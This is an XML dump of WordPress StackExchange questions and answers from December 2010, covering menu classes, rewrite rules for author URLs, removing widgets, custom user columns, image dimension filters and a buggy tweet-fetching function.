  <row Id="5548" PostTypeId="2" ParentId="5545" CreationDate="2010-12-17T17:34:04.983" Score="1" ViewCount="" Body="&lt;p&gt;try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ...&#xA;   echo preg_replace('/&amp;lt;ul&amp;gt;/', '&amp;lt;ul class=&quot;sf-menu&quot;&amp;gt;', &#xA;       wp_page_menu(&#xA;         array(&#xA;          'include' =&amp;gt; '11,13,7,9,4',&#xA;          'sort_column' =&amp;gt; 'menu_order',&#xA;          'echo' =&amp;gt; 0)), 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ...&#xA;   echo preg_replace('/&amp;lt;ul&amp;gt;/', '&amp;lt;ul class=&quot;sf-menu&quot;&amp;gt;', &#xA;       wp_page_menu(&#xA;         array(&#xA;          'include' =&amp;gt; array(11,13,7,9,4),&#xA;          'sort_column' =&amp;gt; 'menu_order',&#xA;          'echo' =&amp;gt; 0)), 1);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btw, there are better ways to add classes to html tags than using regexes like this...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-17T17:44:03.893" LastActivityDate="2010-12-17T17:44:03.893" />
  <row Id="5549" PostTypeId="1" AcceptedAnswerId="8689" CreationDate="2010-12-17T17:45:00.127" Score="0" ViewCount="245" Body="&lt;p&gt;Im building a directory site and for each business listing I wanted to include a printable coupon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would want users to be able to click the coupon image (or link) and a printable version of the coupon to show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked around for solutions but couldn't find anything that could help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastEditorUserId="692" LastEditorDisplayName="" LastEditDate="2011-02-07T11:31:56.380" LastActivityDate="2011-05-08T19:48:31.967" Title="How to add coupon printer?" Tags="&lt;plugin-recommendation&gt;&lt;cms&gt;&lt;functions&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="5550" PostTypeId="2" ParentId="5544" CreationDate="2010-12-17T18:11:05.827" Score="0" ViewCount="" Body="&lt;p&gt;You can use filter generate_rewrite_rules to add new custom url! The first, you add filter to create url! Second, you add new function to handle that URL (display wordpress profile in this case)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('generate_rewrite_rules', 'axcoto_multi_rate_rewrite');&#xA;function axcoto_multi_rate_rewrite(&amp;amp;$wp_rewrite) {&#xA;    $wp_rewrite-&amp;gt;rules = array_merge(array('people/([^/]*)$' =&amp;gt; 'index.php?pagename=people&amp;amp;username=$matches[1]'), $wp_rewrite-&amp;gt;rules);&#xA;    return $wp_rewrite;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way when someone go to people/kureikain, wordpress will make it become index.php?pagename=people&amp;amp;username=kureikain&#xA;Then you createa a new page and make its slug to people! Next you create a new custom page template to display that profile! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beside, we add a new query var, username to above code! We need to let wordpress knows about it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('query_vars', 'axcoto_multi_rate_query_vars');&#xA;function axcoto_multi_rate_query_vars($public_query_vars) {&#xA;    $public_query_vars[] = 'username';&#xA;    return $public_query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your code, to get username, you must call &#xA;$username = get_query_var('username');&#xA;That's all!&lt;/p&gt;&#xA;" OwnerUserId="1969" LastActivityDate="2010-12-17T18:11:05.827" />
  <row Id="5551" PostTypeId="2" ParentId="5544" CreationDate="2010-12-17T18:46:25.863" Score="3" ViewCount="" Body="&lt;p&gt;@kureikain's answer looks great, and it probably works really well in a wide variety of circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for author URLs specifically, there's a simpler way. Change the author_base, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;author_base = &quot;people&quot;;&#xA;$wp_rewrite-&amp;gt;flush_rules();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should only need to run this once, perhaps on a plugin activation. Updating WordPress should not affect this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;As @Jan pointed out in the comments, you need to run this on every init. But you only have to flush the rules once.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2011-01-07T15:56:04.390" LastActivityDate="2011-01-07T15:56:04.390" CommentCount="3" />
  <row Id="5552" PostTypeId="1" AcceptedAnswerId="5554" CreationDate="2010-12-17T18:58:28.630" Score="3" ViewCount="214" Body="&lt;p&gt;I am using Multi-site installation. I don't want all the widgets appear under widgets.php on  dashboard .So I tried to find a way to remove or hide unnecessary widgets . SO that the new sub-sites under my Multi-site created won't have much widgets. So the users don't get confuse with lot of widgets .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to find the files related to widgets .But I didn't able to find such pages in both wp-admin/includes/widgets.php and wp-admin/widgets.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to find in themes files .But failed .Could any one help me to find these ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or Do I have a chance to hide them using functions.php? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance !&lt;/p&gt;&#xA;" OwnerUserId="391" LastActivityDate="2010-12-17T19:47:52.367" Title="How to hide or remove unwanted widgets on Multisite installation?" Tags="&lt;themes&gt;&lt;wp-admin&gt;&lt;widgets&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="5553" PostTypeId="2" ParentId="5545" CreationDate="2010-12-17T19:44:09.400" Score="0" ViewCount="" Body="&lt;p&gt;The smarter way to do it would be to use WordPress 3.0's custom menus. replace wp_page_menu() with wp_nav_menu() and see how that works out for you.&lt;/p&gt;&#xA;" OwnerUserId="2036" LastActivityDate="2010-12-17T19:44:09.400" />
  <row Id="5554" PostTypeId="2" ParentId="5552" CreationDate="2010-12-17T19:47:52.367" Score="5" ViewCount="" Body="&lt;p&gt;Add this to your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jpb_unregister_widgets(){&#xA;  unregister_widget('WP_Widget_Pages');&#xA;  unregister_widget('WP_Widget_Calendar');&#xA;  unregister_widget('WP_Widget_Archives');&#xA;  unregister_widget('WP_Widget_Links');&#xA;  unregister_widget('WP_Widget_Meta');&#xA;  unregister_widget('WP_Widget_Search');&#xA;  unregister_widget('WP_Widget_Text');&#xA;  unregister_widget('WP_Widget_Categories');&#xA;  unregister_widget('WP_Widget_Recent_Posts');&#xA;  unregister_widget('WP_Widget_Recent_Comments');&#xA;  unregister_widget('WP_Widget_RSS');&#xA;  unregister_widget('WP_Widget_Tag_Cloud');&#xA;  unregister_widget('WP_Nav_Menu_Widget');&#xA;}&#xA;&#xA;add_action( 'widgets_init', 'jpb_unregister_widgets' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get rid of all default widgets. If you want to keep a certain widget, remove that line from the function above.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-17T19:47:52.367" />
  <row Id="5555" PostTypeId="1" AcceptedAnswerId="5556" CreationDate="2010-12-17T19:57:05.443" Score="1" ViewCount="379" Body="&lt;p&gt;I'm trying to add code to my themes functions.php to display fields created with the Cimy user extra fields plugin in the dashboard users.php. I know that I need to use manage_users_columns, but beyond that I'm stuck. Anyone familiar enough with the plugin to help me get the proper fields to display?&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2011-01-12T22:16:31.650" Title="show cimy user fields in users.php with manage_users_columns" Tags="&lt;users&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5556" PostTypeId="2" ParentId="5555" CreationDate="2010-12-17T20:40:46.230" Score="1" ViewCount="" Body="&lt;p&gt;I hacked my way into figuring this out. Here's the code for reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function theme_column_userfield( $defaults ) {  &#xA;      $defaults['theme-usercolumn-userfield'] = __('fieldname', 'user-column');  &#xA;      return $defaults;  &#xA;}&#xA;&#xA;function theme_custom_column_userfield($value, $column_name, $id) {  &#xA;      if( $column_name == 'theme-usercolumn-userfield' ) {  &#xA;            return get_cimyFieldValue($id, 'fieldname');  &#xA;      }  &#xA;}&#xA;&#xA;add_action('manage_users_custom_column', 'theme_custom_column_userfield', 15, 3);&#xA;add_filter('manage_users_columns', 'theme_column_userfield', 15, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2041" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-01-12T22:16:31.650" LastActivityDate="2011-01-12T22:16:31.650" CommentCount="1" />
  <row Id="5557" PostTypeId="1" CreationDate="2010-12-17T20:56:40.457" Score="0" ViewCount="93" Body="&lt;p&gt;I'm taking classes in Spanish and would like to keep a blog to track my progress, where I can translate random pieces of text, post pictures and describe them in Spanish etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plugins that would help with this? Maybe something that automatically detects the language and colors it a different color?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:37:57.303" LastActivityDate="2011-01-11T07:37:57.303" Title="Any plugins to help with multilingual content?" Tags="&lt;plugin-recommendation&gt;&lt;multi-language&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5558" PostTypeId="2" ParentId="5546" CreationDate="2010-12-17T21:11:54.227" Score="1" ViewCount="" Body="&lt;p&gt;Thanks to &lt;a href=&quot;http://wordpress.stackexchange.com/users/1986/ambitiousamoeba&quot;&gt;AmbitiousAmoeba&lt;/a&gt; for the answer. The following improved code solves the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_where( $where = '' ) {&#xA;   $where .= &quot; AND (($wpdb-&amp;gt;postmeta.meta_key = 'original_date' AND $wpdb-&amp;gt;postmeta.meta_value &amp;gt;= '2000-01-01') AND ($wpdb-&amp;gt;postmeta.meta_key = 'original_date' AND $wpdb-&amp;gt;postmeta.meta_value &amp;lt;= '2004-12-31')) &quot;;&#xA;   return where;&#xA;}&#xA;add_filter('posts_where', 'filter_where');&#xA;query_posts($query_string);&#xA;while (have_posts()) :&#xA;   the_post();&#xA;   the_content();&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2039" LastActivityDate="2010-12-17T21:11:54.227" />
  <row Id="5559" PostTypeId="1" AcceptedAnswerId="5578" CreationDate="2010-12-17T21:20:24.623" Score="0" ViewCount="240" Body="&lt;p&gt;I have a custom post type that is just a paginated post and acts as a slideshow.  How can I make it so that the reader can choose an option to have the slideshow advance automatically to the next page after some preset interval (like 10 seconds)?&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-18T10:46:57.380" Title="Script to Automatically Advance to the Next Page of a Paginated Post" Tags="&lt;javascript&gt;&lt;pagination&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="5560" PostTypeId="2" ParentId="5547" CreationDate="2010-12-17T21:34:24.500" Score="0" ViewCount="" Body="&lt;p&gt;Seems like this could be done with &lt;a href=&quot;http://codex.wordpress.org/Custom_Queries&quot; rel=&quot;nofollow&quot;&gt;Custom Queries&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-17T21:34:24.500" />
  <row Id="5561" PostTypeId="2" ParentId="5547" CreationDate="2010-12-17T22:34:07.857" Score="3" ViewCount="" Body="&lt;p&gt;You could change the template loaded by hooking onto &lt;code&gt;template_include&lt;/code&gt;, checking if &lt;code&gt;is_author&lt;/code&gt; and &lt;code&gt;is_category&lt;/code&gt; are both set, then switch the template for inclusion to the author template instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give this a shot..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'template_include', 'my_template_setter' );&#xA;function my_template_setter( $template ) {&#xA;    if( is_author() &amp;amp;&amp;amp; is_category() &amp;amp;&amp;amp; is_archive() )&#xA;        $template = get_author_template();&#xA;    return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do any number of conditional checks here before modifying which template gets loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress has several template fetching functions available already, i've used one in the example, but here's a list for quick reference...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_404_template()&#xA;get_search_template()&#xA;get_taxonomy_template()&#xA;get_front_page_template()&#xA;get_home_template()&#xA;get_attachment_template()&#xA;get_single_template()&#xA;get_page_template()&#xA;get_category_template()&#xA;get_tag_template()&#xA;get_author_template()&#xA;get_date_template()&#xA;get_archive_template() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-17T22:34:07.857" CommentCount="3" />
  <row Id="5562" PostTypeId="2" ParentId="5545" CreationDate="2010-12-17T22:44:10.457" Score="0" ViewCount="" Body="&lt;p&gt;This plugin claims to exclude pages from menus only, and provides a simple checkbox for excluding pages, perhaps it will help.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/exclude-pages/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/exclude-pages/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-17T22:44:10.457" />
  <row Id="5563" PostTypeId="2" ParentId="5544" CreationDate="2010-12-17T23:21:05.250" Score="0" ViewCount="" Body="&lt;p&gt;In my opinion it looks like the only thing you actually need is to change the author base, which this plugin will do for you(basically the same as what MathSmath posted, but in a glorified plugin form).&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-author-base/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-author-base/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-17T23:21:05.250" />
  <row Id="5564" PostTypeId="2" ParentId="5557" CreationDate="2010-12-18T00:26:41.290" Score="2" ViewCount="" Body="&lt;p&gt;There are a number of good multilingual plugin but what your asking for is very specific and unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would find one that translates the language into a easily customizable format ( Like a post) where you can use a div for outputting a diff color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance wrap the translation in div .spanish {color:red}&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2010-12-18T00:59:57.143" LastActivityDate="2010-12-18T00:59:57.143" />
  <row Id="5565" PostTypeId="1" AcceptedAnswerId="5762" CreationDate="2010-12-18T02:29:43.047" Score="0" ViewCount="243" Body="&lt;p&gt;I'm in a pickle and unfortunately, have almost zero working understanding of mod_rewrite/apache stuff. Here's what's going on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a hierarchal custom post type with parents and children. On my test server, before I can see any of the custom posts, i needed to go to the permalinks settings page and hit refresh. Then I can see parents. When I hit it again, I can see children, and I'm golden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the actual server (my friend's shared hosting account) -- I follow the same process and the parent's come through -- but not the children. I know it's not a plugin issue, because it's true with them all turned off, and also on the test server with them all turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The child posts DO come through when i have the settings at default permalinks -- so I know the posts are actually getting created. I'm thinking it has to be something on the shared server -- any ideas what to look for? It's so weird that parent's work but children don't...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;martin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Since it's working on the test server, I'm pretty sure my code is right -- but just in case, this is how i'm registering them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('book', array(&#xA;    'label' =&amp;gt; __('Books'),&#xA;    'singular_label' =&amp;gt; __('Book'),&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    '_builtin' =&amp;gt; false, // It's a custom post type, not built in!&#xA;    '_edit_link' =&amp;gt; 'post.php?post=%d',&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;book&quot;), // Permalinks format&#xA;    'query_var' =&amp;gt; false,&#xA;    'supports' =&amp;gt; array('title', 'editor', 'comments','thumbnail','page-attributes')&#xA;));&#xA;&#xA;&#xA;add_action( 'init', 'create_book_taxonomies', 0 );&#xA;function create_book_taxonomies() {&#xA;    register_taxonomy( 'format', 'book', array( 'hierarchical' =&amp;gt; true, 'label' =&amp;gt; &#xA;        __('Formats', 'series'), 'query_var' =&amp;gt; 'format' ) );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-cheers, mc. &lt;/p&gt;&#xA;" LastActivityDate="2010-12-22T04:01:59.423" Title="Custom Post Type Child Won't Come Through With Pretty Permalinks" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;404-error&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="5567" PostTypeId="2" ParentId="5440" CreationDate="2010-12-18T04:50:55.617" Score="1" ViewCount="" Body="&lt;p&gt;Your problem &lt;em&gt;seems&lt;/em&gt; to be within your .htaccess rewrites.  First thing to try: change the permalink structure back to normal (index.php?p=375) and see if the submenus work then.  If they &lt;em&gt;do&lt;/em&gt; then problem is with permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, I know this should probably be a comment not an answer, but I don't have enough points to comment.&lt;/p&gt;&#xA;" OwnerUserId="2044" LastActivityDate="2010-12-18T04:50:55.617" />
  <row Id="5568" PostTypeId="1" AcceptedAnswerId="5606" CreationDate="2010-12-18T04:54:51.463" Score="4" ViewCount="744" Body="&lt;p&gt;I'm working on a site based on a fluid width css template which sets a max-width on images to the width of the column containing them, and I need to remove the inline &lt;strong&gt;width&lt;/strong&gt; and &lt;strong&gt;height&lt;/strong&gt; dimension attributes that WordPress adds to images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing it with my featured images with this filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_thumbnail_html', 'remove_thumbnail_dimensions', 10, 3 );&#xA;&#xA;function remove_thumbnail_dimensions( $html, $post_id, $post_image_id ) {&#xA;    $html = preg_replace( '/(width|height)=\&quot;\d*\&quot;\s/', &quot;&quot;, $html );&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I can apply the same filter to &lt;strong&gt;the_content&lt;/strong&gt;, if necessary. But is there a better way of doing this? &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-05T19:04:55.283" Title="Filter to remove image dimension attributes?" Tags="&lt;images&gt;&lt;filters&gt;&lt;post-thumbnails&gt;" AnswerCount="3" FavoriteCount="5" />
  <row Id="5569" PostTypeId="2" ParentId="5336" CreationDate="2010-12-18T04:55:16.473" Score="1" ViewCount="" Body="&lt;p&gt;Try putting the id first.&lt;br&gt;&#xA;from the codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For performance reasons, it is not a good idea to start your permalink structure with the category, tag, author, or postname fields. The reason is that these are text fields, and using them at the beginning of your permalink structure it takes more time for WordPress to distinguish your Post URLs from Page URLs (which always use the text &quot;page slug&quot; as the URL), and to compensate, WordPress stores a lot of extra information in its database (so much that sites with lots of Pages have experienced difficulties). &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Structure_Tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Permalinks#Structure_Tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2044" LastActivityDate="2010-12-18T04:55:16.473" />
  <row Id="5570" PostTypeId="1" AcceptedAnswerId="5575" CreationDate="2010-12-18T05:05:16.847" Score="0" ViewCount="318" Body="&lt;p&gt;i asked this question previously, which solved my problem, but further i am having still problem with it,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have a function to display tweets of a user which fetch from a custom field, the custom field code is working perfect, cause when i &lt;code&gt;echo the get_post_meta&lt;/code&gt; in my single.php i get the value which is input&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now the question is when i try to fetch the value from custom field to a twitter function the tweets are not coming,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tweet(){&#xA;&#xA;$doc = new DOMDocument();&#xA;&#xA;if ( $meta =get_post_meta($post-&amp;gt;ID, 'dbt_Username', true) ) { &#xA;$feed = &quot;http://twitter.com/statuses/user_timeline/$meta.rss&quot;; &#xA;$doc-&amp;gt;load($feed); &#xA;  $outer = &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;  $max_tweets = 5;    &#xA;&#xA;  $i = 1;&#xA;  foreach ($doc-&amp;gt;getElementsByTagName('item') as $node) {&#xA;    $tweet = $node-&amp;gt;getElementsByTagName('title')-&amp;gt;item(0)-&amp;gt;nodeValue;&#xA;&#xA;&#xA;    $tweet = substr($tweet, stripos($tweet, ':') + 1);   &#xA;&#xA;&#xA;    $tweet = preg_replace('@(https?://([-\w\.]+)+(:\d+)?(/([\w/_\.]*(\?\S+)?)?)?)@', &#xA;          '&amp;lt;a href=&quot;$1&quot;&amp;gt;$1&amp;lt;/a&amp;gt;', $tweet);&#xA;&#xA;&#xA;    $tweet = preg_replace(&quot;/@([0-9a-zA-Z]+)/&quot;, &#xA;          &quot;&amp;lt;a href=\&quot;http://twitter.com/$1\&quot;&amp;gt;@$1&amp;lt;/a&amp;gt;&quot;, &#xA;          $tweet);&#xA;&#xA;    $outer .= &quot;Twiter Updates by:&quot;.get_option('tweetID').&quot;&amp;lt;li&amp;gt;&quot;. $tweet  . &quot;&amp;lt;/li&amp;gt;\n&quot;;&#xA;&#xA;&#xA;    if($i++ &amp;gt;= $max_tweets) break;&#xA;  }&#xA;   $outer .= &quot;&amp;lt;/ul&amp;gt;\n&quot;;&#xA;  return $outer;&#xA;  }&#xA;}&#xA;&#xA;add_action('admin_menu', 'tweet_fetch1');&#xA;&#xA;function append_the_content1($content) {&#xA;     $content .= &quot;&amp;lt;div class='post'&amp;gt;&amp;lt;p&amp;gt;&quot;.tweet(get_post_meta($post-&amp;gt;ID, 'dbt_Username', true)).&quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;      return $content;&#xA;      }&#xA;add_filter('the_content', 'append_the_content1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-18T06:00:27.903" LastActivityDate="2010-12-18T07:39:02.240" Title="get_post_meta() problem again" Tags="&lt;functions&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="5571" PostTypeId="1" CreationDate="2010-12-18T05:17:08.777" Score="0" ViewCount="311" Body="&lt;p&gt;I'd like to create a custom loop that includes all Post types: Post and Video.  Then I'd like to specify to show all posts of the post type Video, but only show posts that are in the category &quot;Videos.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm thinking:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $args=array(&#xA;        'post_type'=&amp;gt; array('video', 'post')&#xA;                 if( get_post_type() == 'post' ) {&#xA;                'category_name' =&amp;gt; 'videos'&#xA;                 }      &#xA;    );&#xA;    $video_post_query = new WP_Query($args);    &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know it sounds strange but this is a work around because the custom post types are new and it's going to take time before I'm able to take all the old video posts and put them into the custom post type.  &lt;strong&gt;Even if I didn't have this issue I still think it would be useful to know how to define a multiple post type loop that specifies different parameters for each post type.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="765" LastEditorDisplayName="" LastEditDate="2010-12-18T17:45:07.733" LastActivityDate="2010-12-18T22:10:18.817" Title="Can I create a loop with multiple post types and specify different $args for each post type?" Tags="&lt;custom-post-types&gt;&lt;wp-query&gt;&lt;loop&gt;&lt;conditional-content&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="5574" PostTypeId="2" ParentId="5568" CreationDate="2010-12-18T05:57:47.953" Score="0" ViewCount="" Body="&lt;p&gt;Applying that filter to &lt;code&gt;the_content&lt;/code&gt; will fire it for all content.  This will be effective, but could affect the performance and load time of your site.  It would be better if you tell WordPress to just not insert the inline width and height tags when you insert images in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the scripts that actually insert the image are built in JavaScript and interact with the TinyMCE wysiwyg editor.  There might be a way to hook into it directly, but not using the standard &lt;code&gt;add_filter()&lt;/code&gt; calls.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-18T05:57:47.953" CommentCount="5" />
  <row Id="5575" PostTypeId="2" ParentId="5570" CreationDate="2010-12-18T07:26:03.600" Score="2" ViewCount="" Body="&lt;p&gt;So many issues here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I'm not sure what this line is doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'tweet_fetch1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't actually have a function called tweet_fetch1 that runs when the admin loads, you should remove this add_action. And if you do have such a function, why is your add_action in this location? The first step to avoiding problems is clean, readable, commented code the groups functions and hooks them logically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, in both of your functions, you're trying to reference $post-&gt;ID where no post object is available. You can usually make it available by globalizing it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third, your function called &quot;tweet&quot; accepts no arguments, yet when you call it from inside your append_the_content1() function, you're trying to pass it the meta value for dbt_Username.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content .= &quot;&amp;lt;div class='post'&amp;gt;&amp;lt;p&amp;gt;&quot;.tweet(get_post_meta($post-&amp;gt;ID, 'dbt_Username', true)).&quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is incorrect...and unnecessary, as you then grab the same meta value (again) from inside the tweet() function using get_post_meta. You need to remove the argument (the stuff between the parentheses) when you call the tweet() funciton. Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content .= &quot;&amp;lt;div class='post'&amp;gt;&amp;lt;p&amp;gt;&quot;.tweet().&quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lastly--though this is just a suggestion, and isn't strictly something wrong with your code--I don't know what all that preg replacing is for. If you're trying to link to the original tweet, you can pull the URI right out of the twitter feed. Also, you can make links inside tweets clickable with WordPress' handy &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/make_clickable&quot; rel=&quot;nofollow&quot;&gt;make_clickable()&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your problem here isn't with get_post_meta--it's with PHP. No disrespect, but it would help you out tremendously to brush up on the basics so that you can better understand the code you're writing, and the answers people are giving you.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2010-12-18T07:39:02.240" LastActivityDate="2010-12-18T07:39:02.240" CommentCount="3" />
  <row Id="5576" PostTypeId="2" ParentId="1255" CreationDate="2010-12-18T07:29:25.803" Score="0" ViewCount="" Body="&lt;p&gt;I'd suggest looking into this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpdevelop.com/wp-plugins/booking-calendar/&quot; rel=&quot;nofollow&quot;&gt;http://wpdevelop.com/wp-plugins/booking-calendar/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1826" LastActivityDate="2010-12-18T07:29:25.803" />
